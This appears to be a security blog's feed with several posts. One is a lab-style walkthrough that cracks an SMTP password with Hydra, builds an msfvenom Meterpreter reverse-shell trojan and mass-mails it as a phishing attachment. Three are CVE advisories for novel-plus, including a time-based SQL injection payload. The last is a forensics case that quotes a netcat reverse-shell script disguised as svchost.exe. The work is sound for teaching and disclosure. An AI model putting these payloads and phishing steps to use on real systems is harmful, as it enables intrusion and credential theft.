&lt;pre&gt;&lt;code&gt;Hydra v9.3 (c) 2022 by van Hauser/THC &amp;#x26; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-20 06:57:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 864 login tries (l:6/p:144), ~54 tries per task
[DATA] attacking smtp://10.10.38.108:587/
[587][smtp] host: 10.10.38.108   login: lhedvig@brownbrick.co   password: bricks	    // [!code highlight]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-20 06:58:04
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;权限提升&lt;/h2&gt;
&lt;h3&gt;构建恶意Payload&lt;/h3&gt;
&lt;p&gt;接下来生成木马来进行钓鱼攻击&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.9.184 LPORT=4444 -f exe &gt; bricks.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 Metasploit Framework (MSF) 中设置相应的监听器等待反弹 shell&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgMsf}
alt=&apos;msf接收反弹shell截图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;发送钓鱼邮件&lt;/h3&gt;
&lt;p&gt;利用已获取的 lhedvig@brownbrick.co 邮箱凭证，通过 swaks 工具向之前收集到的邮箱列表 emails中的所有用户发送携带恶意附件 bricks.exe 的钓鱼邮件。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;while IFS= read -r recipient_email; do swaks --to &quot;$recipient_email&quot; --server 10.10.38.108 --from lhedvig@brownbrick.co --attach bricks.exe --body &apos;********&apos; --header &quot;Subject: ********&quot; --port 587 --auth-user &apos;lhedvig@brownbrick.co&apos; --auth-password &apos;bricks&apos;; done &amp;#x3C; emails
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;获取控制权&lt;/h2&gt;
&lt;p&gt;等待一段时间后目标执行附件木马，成功获取目标电脑控制权&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgGetuid}
alt=&apos;通过getuid演示对目标的控制能力&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;net user wrohit&lt;/code&gt;发现此用户位于管理员组&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgNetUser}
alt=&apos;net user wrohit执行结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;meterpreter&lt;/code&gt;的&lt;code&gt;hashdump&lt;/code&gt;快速获取所有用户hash&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgHashdump}
alt=&apos;hashdump执行结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;随后使用&lt;a href=&quot;https://www.cmd5.com/&quot;&gt;cmd5&lt;/a&gt;获取当前用户&lt;code&gt;wrohit&lt;/code&gt;明文密码&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgCmd5}
alt=&apos;cmd5解密截图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;最后即可通过&lt;code&gt;rdp&lt;/code&gt;访问目标电脑&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250620150823958.Bs4amDEY.png"/><enclosure url="/_astro/image-20250620150823958.Bs4amDEY.png"/></item><item><title>[CVE-2025-6533] Captcha Replay</title><link>https://blog.0xd00.com/blog/captcha-replay-attack-lead-to-brute-force-protection-bypass</link><guid isPermaLink="true">https://blog.0xd00.com/blog/captcha-replay-attack-lead-to-brute-force-protection-bypass</guid><description>The login function fails to invalidate the captcha after one use. This allows an attacker to replay a valid captcha to bypass brute-force protection.</description><pubDate>Fri, 13 Jun 2025 13:09:24 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import img1 from &apos;./assets/image-20250613114237721.png&apos;
import img2 from &apos;./assets/image-20250613114256009.png&apos;&lt;/p&gt;
&lt;h2&gt;Abstract&lt;/h2&gt;
&lt;p&gt;The ajaxLogin method in the authentication module is vulnerable to a Captcha Replay Attack. The application correctly validates the user-submitted captcha against the one stored in the session but fails to invalidate or remove the captcha after its first use. This allows an attacker to reuse a single valid captcha indefinitely to perform automated brute-force or dictionary attacks against user passwords, completely bypassing the anti-automation security control.&lt;/p&gt;
&lt;h2&gt;Vulnerability Details&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. Affected Product Information&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Product Name:&lt;/strong&gt; novel-plus&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Repository URL:&lt;/strong&gt; https://github.com/201206030/novel-plus&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Component:&lt;/strong&gt; &lt;code&gt;novel-admin/src/main/java/com/java2nb/system/controller/LoginController.java:80&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; &lt;code&gt;v5.1.3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Improper Restriction of Excessive Authentication Attempts&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE (Common Weakness Enumeration):&lt;/strong&gt; CWE-307&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Code Snippet:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;    R ajaxLogin(String username, String password,String verify,HttpServletRequest request) {

        try {
            //从session中获取随机数
            String random = (String) request.getSession().getAttribute(RandomValidateCodeUtil.RANDOMCODEKEY);
            if (StringUtils.isBlank(verify)) {
                return R.error(&quot;请输入验证码&quot;);         // [!code highlight]
            }
            if (random.equals(verify)) {
            } else {
                return R.error(&quot;请输入正确的验证码&quot;);    // [!code highlight]
            }
        } catch (Exception e) {
            logger.error(&quot;验证码校验失败&quot;, e);
            return R.error(&quot;验证码校验失败&quot;);           // [!code highlight]
        }
        password = MD5Utils.encrypt(username, password);
        UsernamePasswordToken token = new UsernamePasswordToken(username, password);
        Subject subject = SecurityUtils.getSubject();
        try {
            subject.login(token);
            return R.ok();
        } catch (AuthenticationException e) {
            return R.error(&quot;用户或密码错误&quot;);
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;POC&lt;/h2&gt;
&lt;p&gt;&amp;#x3C;Image
src={img1}
alt=&apos;captcha replay attack poc image 1&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={img2}
alt=&apos;captcha replay attack poc image 2&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250613114237721.Drqh5NSG.png"/><enclosure url="/_astro/image-20250613114237721.Drqh5NSG.png"/></item><item><title>[CVE-2025-6535] SQLI in User List</title><link>https://blog.0xd00.com/blog/sqli-in-user-list-leads-to-sensitive-data-disclosure</link><guid isPermaLink="true">https://blog.0xd00.com/blog/sqli-in-user-list-leads-to-sensitive-data-disclosure</guid><description>A critical SQL injection vulnerability in the user list endpoint allows authenticated attackers to exfiltrate sensitive user data, including password hashes.</description><pubDate>Fri, 13 Jun 2025 16:31:23 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgPoc from &apos;./assets/image-20250613172145257.png&apos;&lt;/p&gt;
&lt;h2&gt;Abstract&lt;/h2&gt;
&lt;p&gt;A critical SQL injection vulnerability exists in the user management module. The &lt;code&gt;/list&lt;/code&gt; endpoint, which retrieves a list of system users, unsafely uses string substitution (&lt;code&gt;${...}&lt;/code&gt;) for the &lt;code&gt;sort&lt;/code&gt; and &lt;code&gt;order&lt;/code&gt; parameters within its MyBatis &lt;code&gt;ORDER BY&lt;/code&gt; clause. This allows any authenticated user who can access this endpoint to execute arbitrary SQL commands. Because the query targets the &lt;code&gt;sys_user&lt;/code&gt; table, this flaw can be exploited to exfiltrate highly sensitive information, including usernames, email addresses, and password hashes, compromising all user accounts on the system.&lt;/p&gt;
&lt;h2&gt;Vulnerability Details&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. Affected Product Information&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Product Name:&lt;/strong&gt; novel-plus&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Repository URL:&lt;/strong&gt; https://github.com/201206030/novel-plus&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Affected Component:&lt;/strong&gt; &lt;code&gt;novel-admin/src/main/resources/mybatis/system/UserMapper.xml&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; 5.1.3&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; SQL Injection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CWE (Common Weakness Enumeration):&lt;/strong&gt; CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Affected Code Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;    @GetMapping(&quot;/list&quot;)
    @ResponseBody
    PageBean list(@RequestParam Map&amp;#x3C;String, Object&gt; params) {
        // 查询列表数据
        Query query = new Query(params);
        List&amp;#x3C;UserDO&gt; sysUserList = userService.list(query);   // [!code highlight]
        int total = userService.count(query);
        PageBean pageUtil = new PageBean(sysUserList, total);
        return pageUtil;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;    @Override
    public List&amp;#x3C;UserDO&gt; list(Map&amp;#x3C;String, Object&gt; map) {
        String deptId = map.get(&quot;deptId&quot;).toString();
        if (StringUtils.isNotBlank(deptId)) {
            Long deptIdl = Long.valueOf(deptId);
            List&amp;#x3C;Long&gt; childIds = deptService.listChildrenIds(deptIdl);
            childIds.add(deptIdl);
            map.put(&quot;deptId&quot;, null);
            map.put(&quot;deptIds&quot;, childIds);
        }
        return userMapper.listByPerm(map);                   // [!code highlight]
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;#x3C;select id=&quot;listByPerm&quot; resultType=&quot;com.java2nb.system.domain.UserDO&quot;&gt;      // [!code highlight]
        select
        `user_id`,`username`,`name`,`password`,`dept_id`,`email`,`mobile`,`status`,`user_id_create`,`gmt_create`,`gmt_modified`,`sex`,`birth`,`pic_id`,`live_address`,`hobby`,`province`,`city`,`district`
        from (
        select
        `user_id`,`username`,`name`,`password`,`dept_id`,`email`,`mobile`,`status`,`user_id_create`,`gmt_create`,`gmt_modified`,`sex`,`birth`,`pic_id`,`live_address`,`hobby`,`province`,`city`,`district`
        from sys_user
        &amp;#x3C;where&gt;
            &amp;#x3C;if test=&quot;userId != null and userId != &apos;&apos;&quot;&gt;and user_id = #{userId}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;username != null and username != &apos;&apos;&quot;&gt;and username = #{username}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;name != null and name != &apos;&apos;&quot;&gt;and name = #{name}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;password != null and password != &apos;&apos;&quot;&gt;and password = #{password}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;deptId != null and deptId != &apos;&apos;&quot;&gt;and dept_id = #{deptId}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;deptIds != null and deptIds.size() &gt; 0&quot;&gt;and dept_id in
                &amp;#x3C;foreach collection=&quot;deptIds&quot; item=&quot;item&quot; index=&quot;index&quot; separator=&quot;,&quot; open=&quot;(&quot; close=&quot;)&quot;&gt;
                    #{item}
                &amp;#x3C;/foreach&gt;
            &amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;email != null and email != &apos;&apos;&quot;&gt;and email = #{email}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;mobile != null and mobile != &apos;&apos;&quot;&gt;and mobile = #{mobile}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;status != null and status != &apos;&apos;&quot;&gt;and status = #{status}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;userIdCreate != null and userIdCreate != &apos;&apos;&quot;&gt;and user_id_create = #{userIdCreate}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;gmtCreate != null and gmtCreate != &apos;&apos;&quot;&gt;and gmt_create = #{gmtCreate}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;gmtModified != null and gmtModified != &apos;&apos;&quot;&gt;and gmt_modified = #{gmtModified}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;sex != null and sex != &apos;&apos;&quot;&gt;and sex = #{sex}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;birth != null and birth != &apos;&apos;&quot;&gt;and birth = #{birth}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;picId != null and picId != &apos;&apos;&quot;&gt;and pic_id = #{picId}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;liveAddress != null and liveAddress != &apos;&apos;&quot;&gt;and live_address = #{liveAddress}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;hobby != null and hobby != &apos;&apos;&quot;&gt;and hobby = #{hobby}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;province != null and province != &apos;&apos;&quot;&gt;and province = #{province}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;city != null and city != &apos;&apos;&quot;&gt;and city = #{city}&amp;#x3C;/if&gt;
            &amp;#x3C;if test=&quot;district != null and district != &apos;&apos;&quot;&gt;and district = #{district}&amp;#x3C;/if&gt;
        &amp;#x3C;/where&gt;
        ) t
        &amp;#x3C;choose&gt;
            &amp;#x3C;when test=&quot;sort != null and sort.trim() != &apos;&apos;&quot;&gt;        // [!code highlight:3]
                order by ${sort} ${order}
            &amp;#x3C;/when&gt;
            &amp;#x3C;otherwise&gt;
                order by user_id desc
            &amp;#x3C;/otherwise&gt;
        &amp;#x3C;/choose&gt;
        &amp;#x3C;if test=&quot;offset != null and limit != null&quot;&gt;
            limit #{offset}, #{limit}
        &amp;#x3C;/if&gt;
    &amp;#x3C;/select&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The vulnerability is located in the &lt;code&gt;UserMapper.xml&lt;/code&gt; file. The &lt;code&gt;sort&lt;/code&gt; and &lt;code&gt;order&lt;/code&gt; parameters, controlled by the user, are directly concatenated into the SQL query, bypassing prepared statement protections.&lt;/p&gt;
&lt;h2&gt;POC&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /sys/user/list?sort=(SELECT(CASE+WHEN(1%3d1)+THEN+SLEEP(5)+ELSE+1+END))&amp;#x26;limit=10&amp;#x26;offset=0&amp;#x26;name=&amp;#x26;deptId= HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPoc}
alt=&apos;SQL injection proof of concept&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250613172145257.DRY2oqF3.png"/><enclosure url="/_astro/image-20250613172145257.DRY2oqF3.png"/></item><item><title>[CVE-2025-6534] Arbitrary File Deletion</title><link>https://blog.0xd00.com/blog/missing-authorization-leads-to-arbitrary-file-deletion</link><guid isPermaLink="true">https://blog.0xd00.com/blog/missing-authorization-leads-to-arbitrary-file-deletion</guid><description>A missing authorization check in the file deletion function allows any authenticated user to delete any file on the system by its ID.</description><pubDate>Fri, 13 Jun 2025 14:02:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import img1 from &apos;./assets/image-20250613144959041.png&apos;
import img2 from &apos;./assets/image-20250613144822682.png&apos;
import img3 from &apos;./assets/image-20250613145201534.png&apos;&lt;/p&gt;
&lt;h2&gt;Abstract&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;remove&lt;/code&gt; endpoint in &lt;code&gt;FileController.java&lt;/code&gt; is vulnerable to an Insecure Direct Object Reference (IDOR) attack due to missing authorization. The function accepts a file &lt;code&gt;id&lt;/code&gt; for deletion but fails to verify if the currently authenticated user is the owner of the file. As a result, any authenticated user can delete any file stored in the system by simply knowing or guessing its &lt;code&gt;id&lt;/code&gt;. The intended permission check &lt;code&gt;@RequiresPermissions&lt;/code&gt; is notably commented out in the source code, making the vulnerability explicit.&lt;/p&gt;
&lt;h2&gt;Vulnerability Details&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. Affected Product Information&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Product Name:&lt;/strong&gt; novel-plus&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Repository URL:&lt;/strong&gt; https://github.com/201206030/novel-plus&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Component:&lt;/strong&gt; &lt;code&gt;novel-admin/src/main/java/com/java2nb/common/controller/FileController.java:114-131&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; &lt;code&gt;v5.1.3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Improper Authorization&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE (Common Weakness Enumeration):&lt;/strong&gt; CWE-862 (Missing Authorization), CWE-285 (Improper Authorization)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Code Snippet:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;    @PostMapping(&quot;/remove&quot;)
    @ResponseBody
    // @RequiresPermissions(&quot;common:remove&quot;)
    public R remove(Long id, HttpServletRequest request) {
        if (&quot;test&quot;.equals(getUsername())) {
            return R.error(1, &quot;演示系统不允许修改,完整体验请部署程序&quot;);
        }
        String fileName =
            jnConfig.getUploadPath() + sysFileService.get(id).getUrl().replace(Constant.UPLOAD_FILES_PREFIX, &quot;&quot;);
        if (sysFileService.remove(id) &gt; 0) {
            boolean b = FileUtil.deleteFile(fileName);
            if (!b) {
                return R.error(&quot;数据库记录删除成功，文件删除失败&quot;);
            }
            return R.ok();
        } else {
            return R.error();
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;POC&lt;/h2&gt;
&lt;p&gt;&amp;#x3C;Image
src={img1}
alt=&apos;image-20250613144959041&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={img2}
alt=&apos;image-20250613144822682&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={img3}
alt=&apos;image-20250613145201534&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250613145201534.Dl_Y26MV.png"/><enclosure url="/_astro/image-20250613145201534.Dl_Y26MV.png"/></item><item><title>恶意软件分析实战：内存取证与磁盘溯源完整案例解析</title><link>https://blog.0xd00.com/blog/malware-analysis-memory-forensics-disk-investigation-case-study</link><guid isPermaLink="true">https://blog.0xd00.com/blog/malware-analysis-memory-forensics-disk-investigation-case-study</guid><description>一份完整的恶意软件应急响应案例分析。本文通过内存取证 (Memory Forensics) 和磁盘调查 (Disk Investigation) 的综合手段，使用Volatility等工具，一步步追踪和分析恶意软件的行为与来源。</description><pubDate>Fri, 07 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgPslist from &apos;./assets/image-20250307143311308.png&apos;
import imgCmdline from &apos;./assets/image-20250307144553638.png&apos;
import imgFtkSvhost from &apos;./assets/image-20250307151058338.png&apos;
import imgVtSvhost from &apos;./assets/image-20250310141042360.png&apos;
import imgAutoConnector1 from &apos;./assets/image-20250307164005831.png&apos;
import imgAutoConnector2 from &apos;./assets/image-20250307162137468.png&apos;
import imgAutoConnector3 from &apos;./assets/image-20250307163925747.png&apos;
import imgVtAutoConnector from &apos;./assets/image-20250310141710454.png&apos;
import imgGroupPolicy from &apos;./assets/image-20250310152641358.png&apos;
import imgEventViewer from &apos;./assets/image-20250310153308977.png&apos;&lt;/p&gt;
&lt;h2&gt;初始环境与取证数据&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;memdump.mem  pagefile.sys disk.dd
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;内存取证分析（Volatility3）&lt;/h2&gt;
&lt;h3&gt;系统指纹识别&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 vol.py -f memdump.mem windows.info
Kernel Base	0xf802388a7000
DTB	0x1aa000
Symbols	file:///home/ubuntu/Desktop/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/94E2AE6323B686F1F4B25BA580582E04-1.json.xz
Is64Bit	True
IsPAE	False
layer_name	0 WindowsIntel32e
memory_layer	1 FileLayer
KdVersionBlock	0xf80238ca4f08
Major/Minor	15.17763
MachineType	34404
KeNumberProcessors	2
SystemTime	2024-05-14 22:07:36
NtSystemRoot	C:\Windows
NtProductType	NtProductServer
NtMajorVersion	10
NtMinorVersion	0
PE MajorOperatingSystemVersion	10
PE MinorOperatingSystemVersion	0
PE Machine	34404
PE TimeDateStamp	Sat May  4 18:48:48 2030
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过内核版本&lt;code&gt;15.17763&lt;/code&gt;确认系统为Windows Server 2019 (1809)，系统架构为64位环境，为后续分析提供基础环境上下文。&lt;/p&gt;
&lt;h3&gt;查看进程信息&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 vol.py -f memdump.mem windows.pslist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgPslist}
alt=&apos;Volatility3 pslist进程列表截图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键发现：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PID 1036的&lt;code&gt;svchost.exe&lt;/code&gt;父进程应为&lt;code&gt;services.exe&lt;/code&gt;(PID 804)，但实际父进程为&lt;code&gt;powershell.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;进程路径指向非常规目录&lt;code&gt;C:\Tools\svchost.exe&lt;/code&gt;（正常路径应为&lt;code&gt;C:\Windows\System32&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;查看创建进程的命令行&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 vol.py -f memdump.mem windows.cmdline
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgCmdline}
alt=&apos;Volatility3 cmdline命令输出截图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;svchost.exe&lt;/code&gt; 的文件路径并不是默认的 &lt;code&gt;C:\Windows\System32\svchost.exe&lt;/code&gt;，而是位于 &lt;code&gt;C:\Tools\&lt;/code&gt; 目录下&lt;/p&gt;
&lt;p&gt;很明显这是伪装成系统进程的恶意程序，用于与外部IP地址进行通信。&lt;/p&gt;
&lt;p&gt;下面还有一个通过notepad打开的&lt;code&gt;part2.txt&lt;/code&gt;文件，文本内容可能通过base64编码。&lt;/p&gt;
&lt;p&gt;通过访问&lt;code&gt;part2.txt&lt;/code&gt;所在目录，我们还发现了一个&lt;code&gt;connector.ps1&lt;/code&gt;文件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Start-Process -NoNewWindow &quot;C:\Tools\svchost.exe&quot; &quot;-e cmd.exe 10.14.74.53 6996&quot;  
C:\Windows\system32\NOTEPAD.EXE $args[0]  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以得知攻击者用于接收反弹SHELL的IP是&lt;code&gt;10.14.74.53&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;攻击链重构：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过&lt;code&gt;powershell.exe&lt;/code&gt;启动伪装成系统服务&lt;code&gt;svchost.exe&lt;/code&gt;的NetCat后门&lt;/li&gt;
&lt;li&gt;建立与C2服务器&lt;code&gt;10.14.74.53:6996&lt;/code&gt;的反向连接&lt;/li&gt;
&lt;li&gt;利用记事本进程加载加密载荷&lt;code&gt;part2.txt&lt;/code&gt;实现载荷分离&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;使用 FTK Imager 分析磁盘&lt;/h2&gt;
&lt;h3&gt;定位恶意文件&lt;/h3&gt;
&lt;p&gt;查看从内存中找到的文件&lt;code&gt;C:\Tools\svchost.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgFtkSvhost}
alt=&apos;FTK Imager中定位伪造svchost.exe的界面&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;通过VirusTotal中检测提取的SHA1，可以确认此程序为NetCat工具&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgVtSvhost}
alt=&apos;VirusTotal中查询伪造svchost SHA1的结果&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
